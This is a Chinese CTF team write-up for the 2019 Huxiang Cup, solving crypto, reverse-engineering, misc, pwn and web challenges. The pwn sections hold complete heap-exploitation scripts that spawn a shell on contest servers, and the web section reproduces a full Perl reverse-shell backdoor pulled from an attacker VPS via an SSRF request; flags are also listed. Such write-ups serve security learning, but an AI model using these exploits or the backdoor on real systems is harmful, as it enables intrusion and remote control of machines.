Xi4or0uji's blog

2019湖湘杯wp

字数统计: 2.9k阅读时长: 15 min
2019/11/10 Share

前言

这次的湖湘杯py真的是太严重了,原题杯可还行,8-81同分可还行(摊手
放一个逼乎上看到的段子
在湖湘杯复赛上,主持人突然问:我们这里有没有很菜的战队?
一个人回答:有,是答主那个。”
主持人问:为什么他们是很菜的队?
回答:我发现最后一个小时,只有他们一个队没有直线上分!”
还是继续放一波队内wp

CRYPTO

give me your passport

看源码看到只有提交的字符串解密以后是Admin就给flag,服务器文件就是加密文件,改一下name跑出来字符串交上去就行

rsa

有一说一,没啥好解释的,很常见的攻击,GitHub上也有脚本
https://github.com/Zui-Qing-Feng/RSA/blob/master/%E5%B7%B2%E7%9F%A5e%2Cn%2Cdp%2Cc%E6%B1%82m

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import libnum
from Crypto.Util.number import long_to_bytes

dp = 84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725
n = 22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611
e = 65537
c = 14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735

for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)%phi
m = pow(c,d,n)
print long_to_bytes(m)

Des

子秘钥反推出deskey,剩下的吹一波主办方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import libnum
import binascii
import pyDes
import base64

key1 = [1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0]
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]

C1D1 = ['*']*56
for i in range(0,len(key1)):
C1D1[__pc2[i]] = key1[i]
# print C1D1

C1 = '00000001*11111100*110*00*000'
D1 = '011001*01*1101*0001011000*01'

C0 = '000000001*11111100*110*00*00'
D0 = '1011001*01*1101*0001011000*0'

__pc1 = [56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
C0D0 = C0+D0
res = ['*']*64
deskey = ""
for i in range(0,len(__pc1)):
res[__pc1[i]] = C0D0[i]
for i in res:
deskey += i
# print deskey

#01000***01**111*0100100*0110010*0110111*01*00*1*0*0*010*1100001*
#01000***01**111*0100100*0110010*0110111*01*00*1*0*0*010*0100001*

def zuoyiwei(str,num):
my = str[num:len(str)]
my = my+str[0:num]
return my
def key_change_1(str):
key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4]
res = ""
for i in key1_list:
res+=str[i-1]
return res

def key_change_2(str):
key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32]
res = ""
for i in key2_list:
res+=str[i-1]
return res
def key_gen(str):
key_list = []
key_change_res = key_change_1(str)
key_c = key_change_res[0:28]
key_d = key_change_res[28:]
for i in range(1,17):
if (i==1) or (i==2) or (i==9) or (i==16):
key_c = zuoyiwei(key_c,1)
key_d = zuoyiwei(key_d,1)
else:
key_c = zuoyiwei(key_c,2)
key_d = zuoyiwei(key_d,2)
key_yiwei = key_c+key_d
key_res = key_change_2(key_yiwei)
key_list.append(key_res)
return key_list

deskey = "01000abc01de111f0100100g0110010h0110111i01j00k1l0m0n010o0100001p"
# print key_gen(deskey)

# deskey = "0100000"+c+"0110111"+f+"0100100"+g+"0110010"+h+"0110111"+i+"0110011"+l+"0100010"+o+"1100001"+p
deskey = "0100000c0110111f0100100g0110010h0110111i0110011l0100010o0100001p"

def bintostr(str):
res = ""
for i in range(0,len(str),8):
res += chr(int(str[i:i+8],2))
return res
for c in "01":
for f in "01":
for g in "01":
for h in "01":
for i in "01":
for L in "01":
for o in "01":
for p in "01":
str = '0100000'+c+'0110111'+f+'0100100'+g+'0110010'+h+'0110111'+i+'0110011'+L+'0100010'+o+'0100001'+p
str = bintostr(str)
print str

DES = pyDes.des("AnHengDB")
DES.setMode('ECB')
cipher_list= "gAN5RT1XWKI0OyUayZj35SlKQ+if2PAJ"
cipher_list = base64.b64decode(cipher_list)
print DES.decrypt(cipher_list)+"AnHengDB"

PWN

HackNote

这题什么保护也没有开,分析程序发现是常见的菜单题

漏洞点在于edit函数

会计算输入的字符个数作为下一次edit的size,这里只要申请时0xx8形式的大小,这样就会连着下一个chunk的size,因为计算时看0截断的,也就是说size会被算进去,实现offbyone的漏洞,就可以利用overlapchunk的操作,通过堆块重叠实现UAF,2次fastbin的attack,第一次往bss中写入shellcode,第二次我们fastbin_attack劫持到fini.array,在里面写shellcode的地址,最后退出,即可执行shellcode去getshell,下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./HackNote')
if local:
p = process('./HackNote')
libc = elf.libc
else:
p = remote('183.129.189.62',10204)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("4. Exit\n")
ru("-----------------\n")
sl('1')
ru("Input the Size:\n")
sl(str(size))
ru("Input the Note:\n")
sl(content)
def free(index):
ru("4. Exit\n")
ru("-----------------\n")
sl('2')
ru("Input the Index of Note:\n")
sl(str(index))
def edit(index,content):
ru("4. Exit\n")
ru("-----------------\n")
sl('3')
ru("Input the Index of Note:\n")
sl(str(index))
ru("Input the Note:\n")
sd(content)

malloc(0x98,'a'*0x98)#0
malloc(0x38,'a'*0x98)#1
malloc(0x38,'a'*0x98)#2
malloc(0x98,'a'*0x98)#3
malloc(0x98,'a'*0x98)#4
malloc(0x98,'a'*0x98)#5
malloc(0x98,'a'*0x98)#6
py = ''
py += 'a'*0x98
edit(3,py)
py = ''
py += 'a'*0x90
py += p64(0x1c0) + '\xa0'
edit(3,py)
free(0)
free(4)
malloc(0x98,'i'*0x98)
malloc(0x38,'b'*0x38)
malloc(0x38,'h'*0x38)
# bk(0)
free(1)
edit(4,p64(0x6caed2)+'\n')
malloc(0x38,'a'*0x38)
ret_addr = 0x6ccbb8
py = '\x40' + '\x00'*5 + '\x00'*8 + p64(ret_addr+0x10)
malloc(0x38,py)
free(2)
edit(7,p64(0x6ccbb8)+'\n')
malloc(0x38,'a'*0x38)
malloc(0x38,shellcode64+'\n')

ru("4. Exit\n")
ru("-----------------\n")
sl('4')
p.interactive()

NameSystem

这道题直接分析可以知道,pie没开,got表可改,ida分析一波

常规的菜单题,漏洞点在free函数

这里申请20个堆块,free第19个堆块,就会把20堆块的地址给19,这样有2个20堆块的地址,可以构造出double free了,我们构造出2条double free的链子,一条用来改free的got为printf_plt,格式化字符串泄露出真实地址,另外一条改printf的got为onegadget,最后show一下既可以getshell了,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 0
elf = ELF('./NameSystem')
if local:
p = process('./NameSystem')
libc = elf.libc
else:
p = remote('183.129.189.62',12905)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))


def malloc(size,content):
ru("Your choice :")
sl('1')
ru("Name Size:")
sl(str(size))
ru("Name:")
sl(content)
def free(index):
ru("Your choice :")
sl('3')
ru("The id you want to delete:")
sl(str(index))

for i in range(17):
malloc(0x10,'a'*0x60)
for i in range(3):
malloc(0x50,'b'*0x60)
size1 = 0x601ffa
size2 = 0x602022
puts_plt = elf.sym["puts"]
free_got = elf.sym["free"]
puts_got = elf.got["puts"]
print_plt = 0x0000000004006D0
free(18)
free(18)
free(17)
free(19)
for i in range(17):
free(0)
for i in range(14):
malloc(0x20,'c'*0x20)
malloc(0x30,'d'*0x30)
malloc(0x30,'d'*0x30)
malloc(0x30,'d'*0x30)
malloc(0x30,'d'*0x30)
free(18)
free(18)
free(17)
free(19)
for i in range(14):
free(2)
malloc(0x50,p64(size1))
malloc(0x50,p64(size1))
malloc(0x50,p64(size1))
malloc(0x50,'\x00'*14 + '\xd0\x06\x40\x00\x00')
malloc(0x60,"%13$p")
free(9)

one = [0x45216,0x4526a,0xf02a4,0xf1147]
libc_base = int(rc(14),16)-0x20830
print "libc_addr--->" + hex(libc_base)
onegadget = libc_base + one[0]
malloc(0x30,p64(size2))
malloc(0x30,p64(size2))
malloc(0x30,p64(size2))
malloc(0x30,'\x00'*6 + p64(onegadget))
ru("Your choice :")
sl('2')
p.interactive()

WEB

untar

这题和2017hitcon的ssrfme很相似,就是条件苛刻了一点
先上个perl后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = 'vps_ip';
my $port = 2333;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

请求如下

1
http://183.129.189.62:12507/?url=http://your_vps/backdoor.txt&filename=URI/aaa.pm

然后在自己的服务器放一个跳转文件

1
2
3
<?php
header("Location: aaa://aaa.com");
?>

访问?filename=xxx&url=http://your_vps/302.php ,成功反弹shell

thinkphp?

用现有的链打过去就行了

RE

argument

这题查壳发现是UPX,工具直接脱壳,然后ida分析,通过搜索字符串Flag来定位到main函数

前面简单加密,发现是flag.txt,这里通过分析发现是打开了flag.txt文件,然后进行了加密,再进行cmp的check,flag刚好是32个字符

这里进一步发现,是把输入的字符串(只能是0-9和a-f)每2位转成一个16进制的数字再存起来

这里将存起来的数每个加一,然后再cmp比较,密文我们可以ida直接提取出来,最后一个脚本直接出字符再拼接,flag就出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
a = "fmcj2y~{"
b = ""
for i in range(8):
b += chr(ord(a[i])-i)
print b
check = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
check[0] = 0x50
check[1] = 0xC6
check[2] = 0xF1
check[3] = 0xE4
check[4] = 0xE3
check[5] = 0xE2
check[6] = 0x9A
check[7] = 0xA1
check[8] = 0xA7
check[9] = 222
check[10] = 218
check[11] = 70
check[12] = 171
check[13] = 46
check[14] = 255
check[15] = 219
for i in range(16):
print str(hex(check[i]-1))
#4fc5f0e3e2e199a0a6ddd945aa2dfeda

icekey

icekey.exe是.net写的程序,用dnspy打开,从modle进去主逻辑,找到main函数开始分析

这道题通过调试就可以知道程序的大概流程,分析可知程序通过md5进行计算然后我们可以知道一段值,作为我们的key,同时发现对我们的输入进行了加密,和这段字符(ACF8D62AAA0B630C4AF43AF327CE129D46F0FEB98D9040F713BE65502A5107A)cmp

在退出时又进行了一次解密

这样我们可以通过调试修改掉密文,直接解密得到我们的flag{5acb06231724c8c369bae711166dbe85}

EzRE

打开ida分析,查找字符串win定位主逻辑。


这种类型的题目时迷宫题,虽然程序加了反调试的东西,但不影响做题,这里1就是墙壁,99是最后的通关出口,所以我们要走迷宫,先找出地图:

这里把地图拼接成7*7的方阵(16进制),然后走迷宫即可,这里1234对应是上下左右

走一下迷宫
2441444222331333224424444
把顺序输入程序,flag即可打印出来

1
flag{#FFRFFF####ZZRZZZ##FF#FFFF}

MISC

something in image

直接用010 editor打开搜flag搜到flag

EzMemory

不用内存分析直接string出可还行2333

elf just elf?

先爆破得到密码123456,解压enc.txt和flag,用hydan对flag进行elf隐写解密获得秘钥8*&#b,再用秘钥对enc.txt中的密文进行AES解密,解密出来以后再xxencode解密,然后再栅栏解密就行,最后flag是flag{2d5552f9f9812d3aa0e8c45dc0fb3f7b}

创新方向

大数据安全

好像是这题?不记得名字了,原题杯
https://ray-cp.github.io/archivers/CVE-2017-17562-GoAhead-rce
对着打就行

CATALOG
  1. 1. 前言
  2. 2. CRYPTO
    1. 2.1. give me your passport
    2. 2.2. rsa
    3. 2.3. Des
  3. 3. PWN
    1. 3.1. HackNote
    2. 3.2. NameSystem
  4. 4. WEB
    1. 4.1. untar
    2. 4.2. thinkphp?
  5. 5. RE
    1. 5.1. argument
    2. 5.2. icekey
    3. 5.3. EzRE
  6. 6. MISC
    1. 6.1. something in image
    2. 6.2. EzMemory
    3. 6.3. elf just elf?
  7. 7. 创新方向
    1. 7.1. 大数据安全